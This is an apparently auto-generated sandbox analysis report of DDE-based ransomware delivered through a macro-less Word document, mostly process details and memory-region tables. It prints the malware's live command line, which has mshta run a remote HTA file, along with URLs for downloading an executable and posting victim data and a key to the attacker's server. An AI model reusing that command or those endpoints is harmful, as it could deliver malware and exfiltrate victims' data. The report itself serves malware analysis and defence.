DDE Ransomware in a Macro-less Word document | Sequential Behavior
Try VMRay Analyzer
URL Overview
Remarks
Critical The sample contacted only unknown URLs.
URL (4)
+
URL Connection Successful Reputation Status
beer-ranking.pl/login/post.php?IP=87.142.159.51&ID=0b75c6dd-d172-492e-b7be-2c05de30e808&Data=17-10-2017%2001:10:26&Haslo=46sDISwJJE10uqPP7rx!K_*@KX(YL2yASBN@3SDx6)7!_HL7IR23RZY!FUT1H2@9*H40@r71qZWq_r7ISTutC2_RHSDYFxRCOG!JI3tIL0IL1A4D38H)UGQ!93Ty@wJIMF14r5xNOO8AZXNLO4Ktu@_(YTwRZO@u4W85K_D9Owtx2QRBF*EJ7DGO6LqP@@UYQNN!M15@68qSIS3YOrqFFH4w35UYZzFAW3urN9*E1*6tOT1(U2D9tq)65TNO23ZIQ3K)XGCIDsL2XxZB9!u**t32XBBJ(92OXxMDNZU02 True
Unknown
w-szczecin.pl/img2/s50.exe True
Unknown
beer-ranking.pl/gen/ True
Unknown
beer-ranking.pl/save.txt True
Unknown
Involved Hosts

Hostname IP Addresses Country City Protocols Has Blacklisted URL
w-szczecin.pl 91.231.140.161 PL HTTP, DNS, TCP False
v4.ident.me 176.58.123.25 GB London DNS, TCP False
beer-ranking.pl 82.221.129.19 IS HTTP, DNS, TCP False
Monitored Processes
Process Graph
Behavior Information - Sequential View
Process #1: winword.exe
+
Information Value
ID #1
File Name c:\program files (x86)\microsoft office\office12\winword.exe
Command Line "C:\Program Files (x86)\Microsoft Office\Office12\WINWORD.EXE"
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:00:21, Reason: Analysis Target
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:02:14
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x8d4
Parent PID 0x464 (c:\windows\explorer.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 968
0x 964
0x 95C
0x 954
0x 950
0x 8E8
0x 8D8
0x 0
0x 984
0x 988
0x 98C
0x AEC
0x B98
0x B9C
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x00022fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00032fff Pagefile Backed Memory Readable False False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable False False False
  • Region Actions
locale.nls 0x00070000 0x000d6fff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000000e0000 0x000e0000 0x000e0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000000f0000 0x000f0000 0x000f0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000100000 0x00100000 0x0010ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000110000 0x00110000 0x0013afff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000140000 0x00140000 0x00142fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000000150000 0x00150000 0x00153fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000160000 0x00160000 0x0016ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000170000 0x00170000 0x001affff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000001b0000 0x001b0000 0x001c7fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000001d0000 0x001d0000 0x001d0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000001e0000 0x001e0000 0x001effff Private Memory False False False
  • Region Actions
private_0x00000000001f0000 0x001f0000 0x001fffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000200000 0x00200000 0x0020ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000210000 0x00210000 0x0021ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000220000 0x00220000 0x0022ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000230000 0x00230000 0x0023ffff Private Memory False False False
  • Region Actions
private_0x0000000000240000 0x00240000 0x0024ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000250000 0x00250000 0x0025ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000260000 0x00260000 0x0026ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000270000 0x00270000 0x0027ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000280000 0x00280000 0x0028ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000290000 0x00290000 0x0029ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000002a0000 0x002a0000 0x002affff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000002b0000 0x002b0000 0x002bffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000002c0000 0x002c0000 0x003bffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000003c0000 0x003c0000 0x003cffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000003d0000 0x003d0000 0x003dffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x00000000003e0000 0x003e0000 0x003e1fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x00000000003f0000 0x003f0000 0x0040ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000410000 0x00410000 0x0041ffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000420000 0x00420000 0x00420fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000000430000 0x00430000 0x0043ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000440000 0x00440000 0x0044ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000450000 0x00450000 0x0048ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000490000 0x00490000 0x0049ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000004a0000 0x004a0000 0x004affff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x00000000004b0000 0x004b0000 0x004b0fff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
private_0x00000000004c0000 0x004c0000 0x004cffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x00000000004d0000 0x004d0000 0x004d6fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x00000000004e0000 0x004e0000 0x004e1fff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
private_0x00000000004f0000 0x004f0000 0x004f0fff Private Memory Readable, Writable, Executable False False False
  • Region Actions
private_0x0000000000500000 0x00500000 0x00500fff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000510000 0x00510000 0x00510fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000000520000 0x00520000 0x0052ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000530000 0x00530000 0x0053ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000540000 0x00540000 0x0054ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000550000 0x00550000 0x005cffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x00000000005d0000 0x005d0000 0x00757fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000000760000 0x00760000 0x0085ffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000860000 0x00860000 0x009e0fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x00000000009f0000 0x009f0000 0x009f0fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x0000000000a00000 0x00a00000 0x00a00fff Pagefile Backed Memory Readable False False False
  • Region Actions
pagefile_0x0000000000a10000 0x00a10000 0x00a10fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000000a20000 0x00a20000 0x00a2ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000000a30000 0x00a30000 0x00a3ffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000a40000 0x00a40000 0x01e3ffff Pagefile Backed Memory Readable False False False
  • Region Actions
office.odf 0x01e40000 0x02079fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000002080000 0x02080000 0x0215efff Pagefile Backed Memory Readable False False False
  • Region Actions
sortdefault.nls 0x02160000 0x0242efff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002430000 0x02430000 0x0243ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002440000 0x02440000 0x0244ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002450000 0x02450000 0x0245ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002460000 0x02460000 0x0246ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002470000 0x02470000 0x0247ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002480000 0x02480000 0x024bffff Private Memory Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000024c0000 0x024c0000 0x024cffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000024d0000 0x024d0000 0x0250ffff Private Memory Readable, Writable False False False
  • Region Actions
staticcache.dat 0x02510000 0x02e3ffff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002e40000 0x02e40000 0x02ebffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000002ec0000 0x02ec0000 0x02ec1fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000002ed0000 0x02ed0000 0x02edffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000002ee0000 0x02ee0000 0x02ee0fff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002ef0000 0x02ef0000 0x02f2ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002f30000 0x02f30000 0x02f3ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002f40000 0x02f40000 0x02f4ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000002f50000 0x02f50000 0x0304ffff Private Memory Readable, Writable False False False
  • Region Actions
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000b.db 0x03050000 0x03072fff Memory Mapped File Readable False False False
  • Region Actions
msxml5r.dll 0x03080000 0x03096fff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000030a0000 0x030a0000 0x030affff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000030b0000 0x030b0000 0x030bffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000030c0000 0x030c0000 0x030fffff Private Memory Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000003100000 0x03100000 0x034f2fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x0000000003500000 0x03500000 0x0350ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003510000 0x03510000 0x0351ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003520000 0x03520000 0x0361ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003620000 0x03620000 0x0362ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003630000 0x03630000 0x0363ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003640000 0x03640000 0x0364ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003650000 0x03650000 0x0365ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003660000 0x03660000 0x0366ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003670000 0x03670000 0x0367ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003680000 0x03680000 0x036bffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000036c0000 0x036c0000 0x036cffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000036d0000 0x036d0000 0x036dffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000036e0000 0x036e0000 0x036effff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000036f0000 0x036f0000 0x036fffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003700000 0x03700000 0x0370ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003710000 0x03710000 0x0371efff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003720000 0x03720000 0x03721fff Private Memory Readable, Writable False False False
  • Region Actions
msctf.dll.mui 0x03730000 0x03730fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000003740000 0x03740000 0x0374ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003750000 0x03750000 0x0378ffff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x0000000003790000 0x03790000 0x03790fff Pagefile Backed Memory Readable False False False
  • Region Actions
private_0x00000000037a0000 0x037a0000 0x037c1fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000037d0000 0x037d0000 0x037dffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000037e0000 0x037e0000 0x0381ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003820000 0x03820000 0x0385ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003860000 0x03860000 0x03865fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003870000 0x03870000 0x038affff Private Memory Readable, Writable False False False
  • Region Actions
pagefile_0x00000000038b0000 0x038b0000 0x03caffff Pagefile Backed Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003cb0000 0x03cb0000 0x03cb0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003cc0000 0x03cc0000 0x03cfffff Private Memory Readable, Writable False False False
  • Region Actions
kernelbase.dll.mui 0x03d00000 0x03dbffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000003dc0000 0x03dc0000 0x03dc0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003dd0000 0x03dd0000 0x03ecffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003ed0000 0x03ed0000 0x03ee5fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003ef0000 0x03ef0000 0x03f2ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003f30000 0x03f30000 0x03f38fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003f40000 0x03f40000 0x03f4ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003f50000 0x03f50000 0x03f58fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003f60000 0x03f60000 0x03f64fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003f70000 0x03f70000 0x03f83fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003f90000 0x03f90000 0x03f9ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003fa0000 0x03fa0000 0x03fa2fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003fb0000 0x03fb0000 0x03fc2fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003fd0000 0x03fd0000 0x03fdffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003fe0000 0x03fe0000 0x03fe3fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000003ff0000 0x03ff0000 0x03ff0fff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004000000 0x04000000 0x04000fff Private Memory Readable, Writable, Executable False False False
  • Region Actions
private_0x0000000004030000 0x04030000 0x0403ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004040000 0x04040000 0x0443ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x00000000044d0000 0x044d0000 0x0450ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004550000 0x04550000 0x0464ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004680000 0x04680000 0x0477ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004780000 0x04780000 0x04b3efff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004be0000 0x04be0000 0x04c1ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004c20000 0x04c20000 0x04d1ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004d80000 0x04d80000 0x04e7ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004e80000 0x04e80000 0x04f7ffff Private Memory Readable, Writable False False False
  • Region Actions
private_0x0000000004f80000 0x04f80000 0x0507ffff Private Memory Readable, Writable False False False
  • Region Actions
winword.exe 0x2f740000 0x2f796fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msointl.dll 0x6fc80000 0x7065cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msores.dll 0x70660000 0x70cb3fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
For performance reasons, the remaining 144 entries are omitted.
The remaining entries can be found in flog.txt.
Process #2: mshta.exe
(Host: 416, Network: 0)
+
Information Value
ID #2
File Name c:\windows\system32\mshta.exe
Command Line C:\Programs\Microsoft\Office\MSword.exe\..\..\..\..\windows\system32\mshta.exe http://w-szczecin.pl/img2/NEW15_10.doc/index.hta
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:00:31, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:02:04
OS Process Information
+
Information Value
PID 0x9c0
Parent PID 0x8d4 (c:\program files (x86)\microsoft office\office12\winword.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 9C4
0x 9C8
0x 9CC
0x 9D0
0x 9D4
0x 9D8
0x 9DC
0x 9E4
0x 9E8
0x 9EC
0x A20
0x A24
0x AE0
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
imm32.dll 0x00020000 0x0003dfff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x00026fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True True False
pagefile_0x0000000000030000 0x00030000 0x00031fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x00070000 0x000d6fff Memory Mapped File Readable False False False
  • Region Actions
mshta.exe.mui 0x000e0000 0x000e0fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000000f0000 0x000f0000 0x000f0fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000100000 0x00100000 0x00100fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000110000 0x00110000 0x00110fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000120000 0x00120000 0x00120fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000130000 0x00130000 0x00130fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
index.dat 0x00140000 0x0014bfff Memory Mapped File Readable, Writable True False False
  • Region Actions
index.dat 0x00150000 0x00157fff Memory Mapped File Readable, Writable True False False
  • Region Actions
index.dat 0x00160000 0x0016ffff Memory Mapped File Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000170000 0x00170000 0x00170fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000180000 0x00180000 0x00180fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000190000 0x00190000 0x001cffff Private Memory Readable, Writable True False False
  • Region Actions
index.dat 0x001d0000 0x0020ffff Memory Mapped File Readable, Writable True False False
  • Region Actions
windowsshell.manifest 0x00210000 0x00210fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000210000 0x00210000 0x00210fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000220000 0x00220000 0x00221fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000230000 0x00230000 0x00231fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000240000 0x00240000 0x00241fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000250000 0x00250000 0x0028ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000290000 0x00290000 0x0029ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000002a0000 0x002a0000 0x002a0fff Private Memory Readable, Writable True True False
pagefile_0x00000000002a0000 0x002a0000 0x002a0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000002b0000 0x002b0000 0x002bffff Private Memory Readable, Writable True True False
msctf.dll.mui 0x002b0000 0x002b0fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000002c0000 0x002c0000 0x003bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000003c0000 0x003c0000 0x0043ffff Private Memory Readable, Writable True True False
private_0x00000000003c0000 0x003c0000 0x003effff Private Memory Readable, Writable True True False
private_0x00000000003c0000 0x003c0000 0x003dffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000003e0000 0x003e0000 0x003effff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000400000 0x00400000 0x0043ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000460000 0x00460000 0x0049ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000004b0000 0x004b0000 0x004bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000004c0000 0x004c0000 0x004fffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000510000 0x00510000 0x0054ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000560000 0x00560000 0x005dffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000005e0000 0x005e0000 0x00767fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000780000 0x00780000 0x0087ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000880000 0x00880000 0x00a00fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000a10000 0x00a10000 0x00baffff Private Memory Readable, Writable True True False
pagefile_0x0000000000a10000 0x00a10000 0x00aeefff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000af0000 0x00af0000 0x00b6ffff Private Memory Readable, Writable True True False
private_0x0000000000af0000 0x00af0000 0x00b2ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000b60000 0x00b60000 0x00b6ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000b70000 0x00b70000 0x00baffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000bd0000 0x00bd0000 0x00ccffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000d30000 0x00d30000 0x00d6ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000d70000 0x00d70000 0x00daffff Private Memory Readable, Writable True False False
  • Region Actions
mshta.exe 0x00df0000 0x00dfefff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
pagefile_0x0000000000e00000 0x00e00000 0x021fffff Pagefile Backed Memory Readable True False False
  • Region Actions
sortdefault.nls 0x02200000 0x024cefff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000024d0000 0x024d0000 0x02812fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000002840000 0x02840000 0x0287ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000028c0000 0x028c0000 0x028fffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002900000 0x02900000 0x0297ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000029d0000 0x029d0000 0x02acffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002bb0000 0x02bb0000 0x02caffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002cb0000 0x02cb0000 0x02daffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002e30000 0x02e30000 0x02f2ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002f30000 0x02f30000 0x0302ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000030d0000 0x030d0000 0x031cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000032c0000 0x032c0000 0x033bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000033f0000 0x033f0000 0x034effff Private Memory Readable, Writable True False False
  • Region Actions
mshtml.dll 0x6f6a0000 0x6fc56fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
dwmapi.dll 0x73b10000 0x73b22fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
uxtheme.dll 0x73db0000 0x73e2ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
comctl32.dll 0x74820000 0x749bdfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntmarta.dll 0x74a00000 0x74a20fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
profapi.dll 0x74b40000 0x74b4afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleacc.dll 0x74f50000 0x74f8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msimtf.dll 0x74f90000 0x74f9afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wship6.dll 0x74fa0000 0x74fa5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winrnr.dll 0x74fb0000 0x74fb7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wshtcpip.dll 0x74fc0000 0x74fc4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mswsock.dll 0x74fd0000 0x7500bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pnrpnsp.dll 0x75010000 0x75021fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
napinsp.dll 0x75030000 0x7503ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rasadhlp.dll 0x75040000 0x75045fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nlaapi.dll 0x75050000 0x7505ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sensapi.dll 0x75060000 0x75065fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rtutils.dll 0x75070000 0x7507cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rasman.dll 0x75080000 0x75094fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rasapi32.dll 0x750a0000 0x750f1fff Memory Mapped File Readable, Writable, Executable False False False
